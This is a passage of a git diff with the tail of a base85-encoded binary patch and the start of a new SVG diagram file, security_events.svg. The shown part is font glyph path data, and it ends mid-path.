z%EWxG#<W#o+G_CI-=R<_002ivM-M8!iU|m)A+o>=4UehK*;@v5<7otrAGqE|D2P`$
zMI`b?&$_7>WIT1s$dhmBg+O`|$oa3jL`)mph-x6a;S<;zK!)4%owx95m!=Rp&YIi8
zS!K)`S=D*tKFlKKrjN~~z}@>>INVv&ymGqdP_K;XMdR^WU*oS16@^rL&gfRrD^CDa
zR`@l9IDjSsL7+e|nj8fE|C!8!F*0GJ9=zVnYD%k#nw)f(DE<I-rzYei2Ais!KHdq2
z0xPjHe8uSfFUVZBpg5lw_Ac%T=DL<_-AuWBjwo_orqrLNLdEZM_+RT^{|?R8*X8KK
zt#?!0dk{jiHGB@mW>g8@VG6IYgxr&PQ)5f_t#nfS8wj9ELhIQrq_he)kq18rm^`>L
z(MH80@d2z+VIb7A*G_5TMjD_SYL;z7m_cGN@QPvn>cP2N(JNg2eLUe2bZeHWcH+)g
zC$^KeL*!u_i9Xg7%}fiz2KGH`0=lY*P0Z+em4bDKZoQ>-j2E9sCL)n7qQSUP<gHdw
zYnze8JOsm8X7DZY>%MF@J0xlbjT2&Bq4^$r0^(zX^+?nET(aGN@Y=<$z;&qgLrAL<
z8T1rbuMG<?6a}oWc|+umz+S_>bA0@_D=h@RIK1vxSfFns--6`FK+*x3B3gbXo`|+c
zH1h<xz}sT<)UC=}xdP&(MWK_$I+K)l-rjc9+?Kf|LVUzHOA_Dxs_Than0{}v5cL2L
zk43Xp46349V}=sm0aDA*fd8oaK`jZqh#=}Ucj?x>XTae|s~z|fX@_}Az{iCQeB4fY
z#07qkOvoU|a`WIm^CZ``Nxu&@O6(4Dm>v}1iA<;{m0=$NO|C151200*k9%g;b^FXR
zdgMrS&F!E=o74%DdpbCRuY6f0raOTJIm}soSgVFwg4?=8{Ck1}EqNbT%)$_9BG?D2
zh7?w;c^VX5@`9Ljp3D4rmmH+HFs>PvK1n@)oA<_viHg$Hr&3iUWq_n{ezT`m*264-
zUtP|(N-?7{2jBl}3pCL4*yNW%pz?g%@FO%{kUaitEsM}rum*>cZerkiKlz|5<P&AZ
z|4rr~Qq{v%%D<_OQU@u*1F6b4&mL#X_n(#Xf8m$<a`9?pV#tW4<NJvefMS9~TyX@V
zR+<ruG%Yv8Yvx2mFpU#5Amb^v(jWKfd$4CejDN4v+3xpBA44z;QW^vVLPWZ3cXm4=
zafY)MencgnCtoFfD@-9oYt;g)QdLqnrmYhUukH_i^RYtUNXKYy$x=UP_d{b^#B-1X
zIR)+z%p0kiF4LHsuf1+P_pc`?nI+KVUimITbJQBaLa^@>`FWxjzDmO?#vB)-(u@+M
z-@$Won@KFh;#Xe#ogCpshc4gn)H7&4i3`*u_xLO3p-<Auy0V>JUnK`#N)~_ax>=+f
zLYtsxI0^C}yYBsKD4a9)0mY}E->1(&lJk=E0>7}vqNsh4od1#iA<vHL$>2J<Y6Zl)
zHc;g%xllx5D*iL&QEp^*Ys4cU#j#nB)nD0g3d@0;V9i9XoPjEdx0+nsrTs5vQh#6k
zylH%fUlx6?@S6;DoeuMh^@`TREmLVNX#o;D4c*>9E<NKZMhHrqQLZH#ejf{PMONVs
zRnfkcelDSkU22dMh!-B=Wqi1Pagpcmf2@15;4SLA!Q(CxgAO87rQ3uuVy@j73qsJa
z>F={UJJofVo8d8`T~BJXb$UBA7c2>Tj4F6<#r3_mzj{Cs8JA2HV^&YAdRRB$8wybq
zJyOs4br&n@O$)ky4<nU!7aW`)P&7#TNw6!s`Oys5$u3}r$5>RDauem2Fk16oA?mZW
zsu1Tko=P1s(vi?J1W#NApL}V61EL4&V>NzjMWW|hv&LuVzt0zj(aav+B{Wt|lAd{4
zQkN7EDIJk!F4K@^=dgaD>xKM@a>a3}#2#t)pR;&<^Im`Cb1ZT)Y5aTP&QA03o&=gm
z+1p^+D%K$f5&dSM(ra_3deFVnddtGUZG#kKINwlhF=zONY2N3-X*fA3J3#WkALO5G
zN<ja7oDbF(%$1Tj*b-VfG{(27wfLQ$3rLd>!os`W89ijf*U=eWujZ)BaAtQY4-`vH
z<oLh^V10d+<W4hN)Lnk0GXf}is2oRKP~JkEn}ttKWIiEdu_Fw9TTSrUfs}kTXJtE&
z4O~tPsIzp%={?*@hri;DfJ}j`Il}ckiB`miEUT%BVo<ISyEdpq{!RT&zE?BmjX<xY
zZ_aUJRgMxPLn}3tncBB!gA80LXb$maO&*8~AvVz%i%Ok{l^JOWDj8sBv?^C%Tn09T
zyKri7Zh^Pla+Foipwi|+O^k^{@njH;{?+*VTzF<8bMh1>@d#2IncF(E70(8)R^5B|
z6I(uomK2i6zpj54!_N5nW5P!+nxiCmli>Iyg2}5wl4h&uT^^YiV~3j7$Cc4T!n?7L
zzosMfv7eS}aAqX6fl0j!Z4LO9tGwa}VTq(QR2eOkovzWL)?JZ!WP+FNXH-rz1VHtG
zBa&cu^GT?gs(z?)hu09ro4oYZqs|^%CbeOprn?7)O_<h$8OveO_}jEDs>(Elk(ntG
z;g4+NmAe9aL-ZJ>stgsXhuj0S;we}YDY_5$sm0d>DaF26I4+G1D{ku)8%kVz8Wy*l
zP^6H+$C;GC(6H+`NZ~7i#%sMuvT&l)byEKba{Y!FobjxhEWBwxBE`PHp+JJOR9GwB
z+e8O&(bQ`Eia3$21@1WE6wJ2rUeiK(DHwF6wHtX;+q((a9L3~T(VOs`K~Vgi$8!8A
zZ*o`A8hf&)H7}2DcZa$n=3ikZ0o1Mi?`n9%7gz%;gd@*ZHj=ixRDmgUJJX*SF}_Dr
zSrRI{sE?_UdRM2u+8Z5LrIs<gTSfDcJ+XdqsKeHv&?xp4IE&XC8CXC*$u!OX)K>pi
zB)J_vc+3kF;047W#VJUhZ#@khiFg>CDOj&QPY!*LoB}vFGsFsIf@5ea?#+rjU!el@
zdOL(8BV_0*>kTB^Uco|xunqSk#xHxOLM&rEe>eS`Q&&KYlDKp5y~jZFys|VwQ7p2?
z-GwA;0aHLpY5CwQ36_4>TtHd_PJOq>RF%p`XCRky7Nx!foJa{n--nPlb;tJKchPAY
z>8mhHgt!H-5mZQeC0~XrnZVFH8U)iS15Hp^=o5ArjJ)>%jy!~IE2Qt>WV|NV?IZR9
zQ$}n*VPnjfW8r;0W>Iu?&fCKZT8s6D9j*PX#&&8-7MPw5TppY(X?pTZYxoEiV@m{@
z6%-j```qNRc#%u3&2jvo;X6;{$m6S>2Beu))NWp@3PV84@dpH3ZFu^39lY<zYqg!~
zT(wQ6_v%XC22Umv@h_>fg(Lv}V9Wl%tHM_z(PeSweQG%uGXrRRKP-G#jr{+q^_$f~
zuQ9cDZQfh2m}i+-ZsV8+sgi@`hQ+;C45`!y-I-bQjh4G4c}L~%MBNtuF0dV0_$0iM
z(Hw#Si%}7Zd$#8CeehS1oX@|329@277l|_VEyN1EO7?T0ejJBPOGYy@lWXqD0!j^)
zUk%t-iU+9~#@1=IKNNQ>d8SaCI8ntv3X7LUCXMq}h4hN=v%au@VwMX|ZG`xNhwk5(
zPWNI~L<=evrM4L7qtvz5*(lK>MJbT0a#<ml$a0vnC5hq#_S+2f@EVm!9G>FS>wsxI
z#rs;K$UOAnv#3&gN6l9Alxkw1mwD5vS8vmK7+T`8?U_B(IyB7%wcEmFS@bh0Mc=^6
zZk&jTuw`%ZTF_zwVM~>A02L{EB+mUT=nNR!z4sLZ+YW9I6C+COi`NU5bO7`obVLgo
z_l7OeGBZh=-13HhW)0^3@(F);ytbrCowehNF9)_llGTT|+Ig<7>PIuUeb3~+0(p7A
zQTqnF40*S%uCkOR+8iV@Wm^9-`N|Z;IJN>GEfe`!hq+>0QTR2{<Yp7QZqtXZ$#}AZ
z)`%bJH^t6{S^SmEM|!V4{~nEweIgFD2FN_5%!i~a9$H40Y6YB7Xi>Y`fT){5MUcb&
zYm41VF<to#rjG~3#u~HSauS&3qJ$)o;s(n<$vXswTKm<Ul$+`;s6Z(|YoLq>Zk_P1
z090fODtiUeNH7DM)eCNqB!^WI3H8NogcLrw{kZCGqtwSSjuNaB)>O4WPQBL@z0tP+
zmhnBiU4^YaToW`J(K$q}%6UjRDf~FzD~t^`1-*5*x1&}8{m4Xhi%AXSxx`6LIB`wC
zPA{u(32~&ozZhHG^n*nR>>}r6=KBQedwm7l%bb`vRMq>aDo4|yoN+f7UBH+gg$}Cd
zoZ_EalDYIr&1g=toc*}Z0ye^0m(-W7ttNNGZ*L9@MF*YM-2Ag8{_j@tpTCI8ZVkG)
zTN29w{@9k)RD7|r94A(^^SQ?M*Z=K1iX##ob*zNO$B5Mk-UM4L_lehZ-FV)OBLZC)
z#q>?}&-o;hYijl#%4+UjgA%&|#Uhd&8yP|9j|%g5GH<QKh#juh&0nzRTwH8%<(Ma8
z2b#|p9)m<c6iaEo>!>cp3oZ2@M>$HG7X7Ic2k9xLWTo2Ga~+F>>*}?WF;f@o)CMFN
zw>y}ij8J9~BqR0|Drf(Vz79+af}QJe$j1WkrX0nN3&s;B#N?rkJRy|ZZBNv_D%4_P
z(kroL^xpg2SS_}Q#Sf?uOi4mM<NHy^)lp1lO}p&$FWZhcNn)qJ1bbRLzQ+SSL91s%
z+OYT6FoR<~iV{>p@B4J<fnxkiidm{CbaUou9yZ6v^_V8RuZjO;aYj0izR&mBN&JlR
zb#W@<U!}^-Y>}`H|KXMNxQt?E#rGe@8s9Z~1ULgQ)50Mz*4R^o4rbwnJD7ZyUZRjN
z=Bz~E8NodYWA7p#`jkh^9@;{SIh=@J(WfA*HXiZjZNcLto|<od7#vjIYCfH#_ZJa7
zp+SiLnnMf@-Z|gDAV8bz@ZJAnqHo>#?r2yC_hO>}m0&u-G}wA1=RAKe<uq<+IYMnl
z`rD~oM~}Ybdx*rOmXwup;=U<G@?4>;_U)>6!$6zrbMNGPY14OaX0ey5WV>ziliDh*
zVvQPmi0w?Mb7gfouYF?wePlF2l}l?R)MugpMLg-LQ%I;~Hm3Jxj3uj(B}IpEuAt4a
zw?qrc#Uf)oHH?w)R#J)`Lldt)vxsw(9cDu$sv)WL(P!5{*a)eevO@6<nM`U@vhRtp
zTNlF!Q42DRx4*~nogEX+8Brfz0?b62Rm?l4u$QiAB(XH0T*D;uaA(*=U9_}67lRNw
zk7kgSGiI<WeJ*Z1kI$!k(66Z4U!~!g&2Jm`q>)3mj}q_b98~j*A{rBVzeqPtcdy1J
zq-s!?LAATX*og4JRE($?r@(@{M*>lqm%qEU`klUPxptZ>rb~@kG&c#3iX8~>R6JP0
zvGJBj_!_%=YzHZOAIrji5Ta%xo^$!$6WRNuWi^*P1$@hPi#N`Yak9f$ho@Z$tD32(
zyVt*65nLdlM-J9IQ7(}?ZI2Z-LA#0ml-Htwoe%h*9k!!wa|y-KYAm#5)E8k^<OfN$
zH5;{lT2f^81Gz;J;iGI%iW**QSS$HAuy+V3sdmU#cHW4RKfx7*cY2f+u~&OLU_2nZ
z;}HrT(aClZYOTbH#7xP@_Mqx#(9WmrDVSdJjyq`<N>-#5n2hWN&63=8VQ<!Abr7sB
zSh+UX1+cFpkWeq*BKKe6_(>LQD-%JJ!(jF>TK~ygP-2n~mQS^$z>w;DnB^zBA-1fu
z>B^u=$0qK+c$^e7StXslKfu(|aeqj@MKt9#AbK%RKQ|zc+3{aC1tdx<4SjZKJM=vs
z^E5bIIW70kVlYjXz0LO4CI9x1E_;>ok0K9tguATyiqbUQlkCeKn+IHkt%>DbIDYlb
zQ84fVbXlJ_9YggdY(h#-s<ABUux0HO0+eEtC04e^*zT>OKx0-p>4rVAZk<_kbZH`_
zS0zbKrsW!jnP-05{I}3d?96rlI}lgWLB>xA*sjoGXXJRSjOv)&vc{5n@+a$yV$$mb
zxQ^*ZgUZdXz3&Lop0Y|G;wL(Pr$GdN9f;XMr!je(T|%SSno@NXaCfPa+pQinRA(rW
z|2(u^POGKyKv?>z>XdS9KAlnVG_&6u=2KnS5rhgUCGl0?BEwge5zc}9!U7mli-*!}
zcV=H}c#|W0bvWrbtke2)r4JjX(yxCBK*>oYZI|iUeg!GIz;C0OO*0Avr>PeYLj7ob
z9?1ocJQ<B_3SJqelQ5gOFqG`3G+v#LNiLl#uM)MBanYXNMl1P=9@{-XkDYbr5k`o5
zMva;oPxvYm0BgSp#Vv_ZkBLd7K&3Cq!Ybxft7$M-rzqfGgNfH)IyF>_hBd#OmsXA%
zp9Y#x#wTHiM<2sBn5x1uNz)=^?!DbfvL2me#w56gCI|VGEK!|D3!9k6m^f!9d~SQB
zGTu#29jp_)XD$1b{KSXG?3y^0DyJ7pYavgjg`_!#xm<w)cQ-sl5PF&^JFZT_`!(Fe
zHR(4YvR(x3rmI&VXzvXiuWmOV4@&QNp0&9BKJ(umXo8;<&78KJHO=}H1r+M?)x7Yg
zNj(^fW<Px(y+ZYNq|(%%zPPAL`jNNJbsTTrr)~#E`n%n?Cr)WYS=Nh^7^UuqPA+{8
zq`RVN8$y{$G|gU|fm3I7-5V#7mWPrQ_n!?gkQVc<cz#|SZZyqPyX)^HkZ6?66J473
zgR)_nkgvqTGiNP*^*qLp=1eW7kR$wQrG$d)LS3geXf(6o5%A-nF;wF)LFQDG$F_vy
zah(vx+tV1q!4}%F*}r-;HAG*z=^N-(QXtT~5jYt2AX3@b^=E+pxT}o?6<p~Wf_9*9
zeL%gx+E+**G1+7>>xaBwc|YgQ%vm%If+WrBmoas=dHu=oBapcRU_MW*c$r5gUc2U#
z{tkIuxVf9rOb<N;hWXO!;9>iR-%?qA2RnXrKWjQiOvw!l?REH%-YH2H+9k%{Xw^Cy
z3+;JY_?vaTALBDnFFjk*-+@vNL!3Nx+1|Xb^szs+p^jyZ^|XkABh{yh{t;f(yuOy)
z^(S=WBV~pEEuhZ#y+UGFxhksZb<l(l{Cedg7W^WHnfnWq<Xlwb&^sTKt42wouRD!8
tS1aAWT%SM_!AGS3u?t!H_WL?50f!%A;$_*VjX%E=WhIq>GVzx|{{bHTnj`=K

diff --git a/_images/security/security_events.svg b/_images/security/security_events.svg
new file mode 100644
index 00000000000..f1b93923da6
--- /dev/null
+++ b/_images/security/security_events.svg
@@ -0,0 +1,338 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="679" height="320" viewBox="0 0 1101 520" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
+<path style="stroke:none;" d="M 8.15625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.828125 -14.234375 L 2.828125 -1.40625 L 8.15625 -1.40625 Z M 8.15625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
+<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 7.609375 0.46875 C 7.609375 1.78125 7.316406 2.75 6.734375 3.375 C 6.148438 4 5.300781 4.3125 4.1875 4.3125 C 3.507812 4.3125 2.953125 4.253906 2.515625 4.140625 C 2.085938 4.023438 1.738281 3.890625 1.46875 3.734375 L 1.890625 2.484375 C 2.160156 2.597656 2.457031 2.707031 2.78125 2.8125 C 3.101562 2.925781 3.503906 2.984375 3.984375 2.984375 C 4.804688 2.984375 5.367188 2.753906 5.671875 2.296875 C 5.984375 1.835938 6.140625 1.066406 6.140625 -0.015625 L 6.140625 -0.765625 L 6.078125 -0.765625 C 5.859375 -0.460938 5.578125 -0.222656 5.234375 -0.046875 C 4.898438 0.128906 4.46875 0.21875 3.9375 0.21875 C 2.84375 0.21875 2.035156 -0.203125 1.515625 -1.046875 C 1.003906 -1.890625 0.75 -3.222656 0.75 -5.046875 C 0.75 -6.785156 1.082031 -8.101562 1.75 -9 C 2.425781 -9.894531 3.421875 -10.34375 4.734375 -10.34375 C 5.367188 -10.34375 5.914062 -10.28125 6.375 -10.15625 C 6.84375 -10.039062 7.253906 -9.898438 7.609375 -9.734375 Z M 6.140625 -8.703125 C 5.734375 -8.921875 5.210938 -9.03125 4.578125 -9.03125 C 3.878906 -9.03125 